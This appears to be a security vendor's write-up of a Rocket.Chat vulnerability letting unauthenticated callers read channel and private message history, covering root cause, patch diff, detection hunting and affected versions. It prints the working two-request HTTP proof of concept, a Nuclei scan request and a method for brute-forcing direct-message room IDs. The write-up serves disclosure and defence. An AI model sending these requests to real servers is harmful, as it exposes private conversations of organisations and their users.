Automated Threat Modeling

Brief Summary: Rocket.Chat CVE-2021-48022, Unauthenticated IDOR in livechat:loadHistory with PoC and Detection

A brief summary of CVE-2021-48022, a missing authorization flaw in Rocket.Chat's livechat:loadHistory Meteor method that let unauthenticated callers read room messages. Includes the public PoC, patch details, and detection guidance.

CVE Analysis

10 min read

Gaurav Sarraf
Gaurav Sarraf

2026-11-18

Brief Summary: Rocket.Chat CVE-2021-48022, Unauthenticated IDOR in livechat:loadHistory with PoC and Detection

Introduction

A missing authorization check in Rocket.Chat's LiveChat API let anyone with network access mint a guest token and read the message history of any room, starting with the default GENERAL channel that every install ships with. For deployments that government agencies, universities, and enterprises use to coordinate across security boundaries, that meant unauthenticated readout of public and private conversations through two HTTP requests.

Rocket.Chat is an open source team collaboration and chat platform. The vendor positions it as an interoperable collaboration platform used by armed forces, intelligence agencies, federal system integrators, government agencies, critical infrastructure operators, enterprises, and universities. Because it is self-hosted and often exposed to accommodate external collaboration, an authorization flaw in an anonymously reachable method has an unusually wide blast radius.

Technical Information

The root cause is a missing authorization check (CWE-639, authorization bypass through a user-controlled key) in the LiveChat message history flow.

Rocket.Chat's LiveChat API exposes two method invocation endpoints: method.call, which is authenticated, and method.callAnon, which is unauthenticated. Several sensitive LiveChat methods did not re-validate Meteor.userId(), so they could be reached anonymously through method.callAnon. Two methods matter here:

  • livechat:registerGuest lets anyone create a LiveChat guest identity and receive a reusable guest token.
  • livechat:loadHistory takes a visitor token and a room ID (rid) and returns that room's message history.

Before the patch, livechat:loadHistory only checked that the supplied token belonged to some LiveChat visitor. It never checked that the requested room belonged to that visitor. Since anyone can create a guest token through livechat:registerGuest, a valid token proved nothing about which room the caller could read. The server passed the caller-supplied rid straight into loadMessageHistory(). The user-controlled rid was the only value deciding which messages came back, which is the defining characteristic of an insecure direct object reference.

The principal impact is confidentiality loss. The disclosure reports access to public and private channel messages and potential access to private messages between users. The sources do not establish message alteration or service disruption as impacts of this CVE.

Attack flow

  1. Send an anonymous POST to /api/v1/method.callAnon invoking livechat:registerGuest with an attacker-chosen token. This returns a reusable guest token.
  2. Send a second anonymous POST invoking livechat:loadHistory with that token and a target rid. The default public channel always uses the fixed room ID GENERAL, so its history can be dumped directly.
  3. Escalate to private direct messages. Each DM room ID is a concatenation of the two participants' user IDs. By harvesting user IDs from the GENERAL history, an attacker can iterate through ID combinations in the rid parameter to read private conversations.

A note on scoring

The severity information is inconsistent across sources. The user-supplied input lists 7.5, VulnCheck's CNA information in the NVD record lists a CVSS 4.0 score of 8.7 (High), and NIST's own NVD assessment is shown as not available. The records reviewed did not corroborate the 7.5 value, so these should not be treated as a single consensus rating.

Proof of Concept

A public, reproducible proof of concept exists, originally disclosed by Rojan Rijal (Securify) as two HTTP requests.

Step 1: register an anonymous LiveChat guest and obtain a reusable guest token by abusing livechat:registerGuest:

POST /api/v1/method.callAnon/anythingresearch HTTP/1.1 Host: INSTANCE_IP:3000 Content-Type: application/json X-Requested-With: XMLHttpRequest {"message":"{\"msg\":\"method\",\"method\":\"livechat:registerGuest\",\"params\":[{\"token\":\"ok4782\",\"name\":\"Security\",\"email\":\"[email protected]\"}],\"id\":\"123\"}"}

This registers a guest with the attacker-chosen token ok4782.

Step 2: read channel history using the same token via livechat:loadHistory. Because the default public channel always uses the fixed room ID GENERAL, its messages can be dumped directly:

POST /api/v1/method.callAnon/nahman HTTP/1.1 Host: INSTANCE_IP:3000 Content-Type: application/json X-Requested-With: XMLHttpRequest {"message":"{\"msg\":\"method\",\"method\":\"livechat:loadHistory\",\"params\":[{\"token\":\"ok4782\",\"rid\":\"GENERAL\"}],\"msg\":\"123\"}"}

Escalation: the disclosure notes the IDOR extends to private direct-message rooms. Each DM room ID (rid) is a concatenation of the two participants' user IDs. By first harvesting user IDs from the GENERAL channel history, an attacker can iterate through all ID combinations (for example using Burp Intruder's Cluster Bomb mode) in the rid parameter to read private conversations.

Automation: ProjectDiscovery publishes a Nuclei template (http/vulnerabilities/rocketchat/unauth-message-read.yaml, id rocketchat-unauth-access, author rojanrijal) that automates the same two-request flow, a livechat:registerGuest call followed by a livechat:loadHistory call against GENERAL. It confirms exploitation by matching "msg":"result","result":{"messages" and "success":true with an HTTP 200 response.

Patch Information

Rocket.Chat fixed this in the 3.13.2 security hotfix. The 3.11.4 and 3.12.4 releases carry the same fix for the older branches. The fix commit listed by NVD and VulnCheck is 9e63222893 (full SHA 9e63222893738f6178e157a93e64e8fced978a87), authored by Diego Sampaio on 2021-04-14. The commit message is only "Bump version to 3.13.2" and HISTORY.md describes it with a single generic line, "Security Hotfix", so there is no descriptive commit title for this CVE. The real fix is in one small file: app/livechat/server/methods/loadHistory.js.

-import { LivechatVisitors } from '../../../models'; +import { LivechatVisitors, LivechatRooms } from '../../../models'; Meteor.methods({ 'livechat:loadHistory'({ token, rid, end, limit = 20, ls }) { @@ -12,7 +12,12 @@ Meteor.methods({ const visitor = LivechatVisitors.getVisitorByToken(token, { fields: { _id: 1 } }); if (!visitor) { - return; + throw new Meteor.Error('invalid-visitor', 'Invalid Visitor', { method: 'livechat:loadHistory' }); + } + + const room = LivechatRooms.findOneByIdAndVisitorToken(rid, token, { fields: { _id: 1 } }); + if (!room) { + throw new Meteor.Error('invalid-room', 'Invalid Room', { method: 'livechat:loadHistory' }); } return loadMessageHistory({ userId: visitor._id, rid, end, limit, ls });

The patch makes two changes:

  1. Ownership check on the room (the core fix). A new lookup, LivechatRooms.findOneByIdAndVisitorToken(rid, token), only finds a room when both the room ID and the visitor token match. The query runs against the LiveChat rooms collection, so the requested room must be a LiveChat room that belongs to the visitor making the request. If no match is found, the method throws invalid-room and loadMessageHistory() never runs. A freshly minted guest token can no longer read a private group, a DM, or another visitor's conversation.
  2. Explicit failure for unknown visitors. The old code ended silently (return;) when the token did not resolve to a visitor. It now throws an invalid-visitor error.

The pattern to take away: the token is still checked first (who are you?), and then the room is checked against that identity (is this resource yours?). The old code only answered the first question.

The same 3.13.2 hotfix also includes changes for related reports, not this CVE: a new cleanQuery.ts sanitizer wired into parseJsonQuery that strips __proto__, constructor, and prototype keys and enforces a MongoDB operator allowlist, plus a check(params, { token: String }) type check added to getPasswordPolicy. Rocket.Chat's HackerOne replies on NoSQL-injection reports #1130721 and #1130874 say those issues were fixed in the same 3.13.2 / 3.12.4 / 3.11.4 hotfixes, so upgrading closes the livechat:loadHistory IDOR and those other issues together.

Detection Methods

What you are looking for. The attack is two steps. First an unauthenticated client creates a guest token by calling livechat:registerGuest. Then it calls livechat:loadHistory with that token and the rid of the room it wants to read. Both calls are HTTP POST requests to /api/v1/method.callAnon/.... Shadowserver credits the first exploitation evidence to 2025-02-13, so it is worth looking back through historical logs as well as watching new traffic.

1. Active scanning with the public Nuclei template. NVD and VulnCheck both list the ProjectDiscovery template rocketchat-unauth-access (file http/vulnerabilities/rocketchat/unauth-message-read.yaml) as a reference. It registers a guest with a random lowercase token, then asks for the history of the GENERAL room. Its second request looks like this:

POST /api/v1/method.callAnon/cve_exploit HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Content-Type: application/json {"message":"{\"msg\":\"method\",\"method\":\"livechat:loadHistory\",\"params\":[{\"token\":\"{{value}}\",\"rid\":\"GENERAL\"}],\"msg\":\"123\"}"}

A host is reported vulnerable only if all are true: the response is HTTP 200, the body contains the start of a message result ({"msg":"result","result":{"messages"), and the body contains "success":true. Caveats: the template metadata does not name CVE-2021-48022 (the link comes from the NVD/VulnCheck references); its remediation text lists older fixed versions (3.11, 3.10.5, 3.9.7, 3.8.8) rather than the CVE's ranges, so trust the CVE's version ranges; and it is an active check that reads real messages from GENERAL, so run it only against systems you are authorized to test.

2. Hunting in web, reverse-proxy, and WAF logs. The path segment after method.callAnon/ can be anything (the researcher used anythingresearch and nahman; the template uses cve_exploit), so build detections on the method names in the JSON body, not that segment. Useful hunting ideas:

  • Unauthenticated POSTs to /api/v1/method.callAnon/* whose body contains livechat:registerGuest, followed by livechat:loadHistory from the same client using the same token. This is especially worth checking if your deployment does not actually use LiveChat, since registerGuest was still reachable.
  • livechat:loadHistory bodies where rid is GENERAL or any room that is not a LiveChat room. Normal LiveChat visitors only load their own LiveChat room.
  • A large number of loadHistory calls from one source, each with a different rid. Private-message room IDs are two user IDs joined together, so a burst of guessed rid values is a strong sign of exploitation beyond a simple scan.
  • Responses that are HTTP 200 with a messages array and "success":true, which suggests data was actually returned.

Method names and rid values live inside the POST body, so standard access logs usually will not show them. You need request-body logging on a reverse proxy, WAF, or API gateway for this hunting to work.

3. Artifacts inside the application. Each exploitation attempt registers a LiveChat guest, so check your LiveChat visitor/guest records for entries you cannot explain. The Nuclei template names its guest cve-2020-<random 5 letters> and uses an email at a random .com domain. Hand-crafted attacks use other names: the Securify example used the name Security and token ok4782.

What is not available. None of the reviewed sources publish attacker IPs, domains, file hashes, or ready-made Sigma, YARA, Snort, or Suricata rules for this CVE. The public detection options are the Nuclei check plus the request-pattern hunting described above.

Affected Systems and Versions

Rocket.Chat is affected across three release families:

Affected release familyAffected intervalFixed threshold
Early releases0.61.0 through releases before 3.11.43.11.4
3.12 family3.12.x before 3.12.43.12.4
3.13 family3.13.x before 3.13.23.13.2

Note the vendor's version policy: standard releases are supported for six months and long term support releases for twelve months, and versions outside the support list no longer receive security fixes. Being past the vulnerable threshold alone is not enough; the destination version should also be a currently supported release.

Vendor Security History

Rocket.Chat maintains a public security fixes and advisories section, advises prompt upgrades, and describes disclosing advisories 30 days after a fix release. The same 3.13.2 / 3.12.4 / 3.11.4 hotfix line also addressed NoSQL-injection reports tracked on HackerOne (#1130721 and #1130874). This shows a public advisory and patch process, though the reviewed sources are not sufficient to rate the vendor's overall security performance or compare it with peers.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization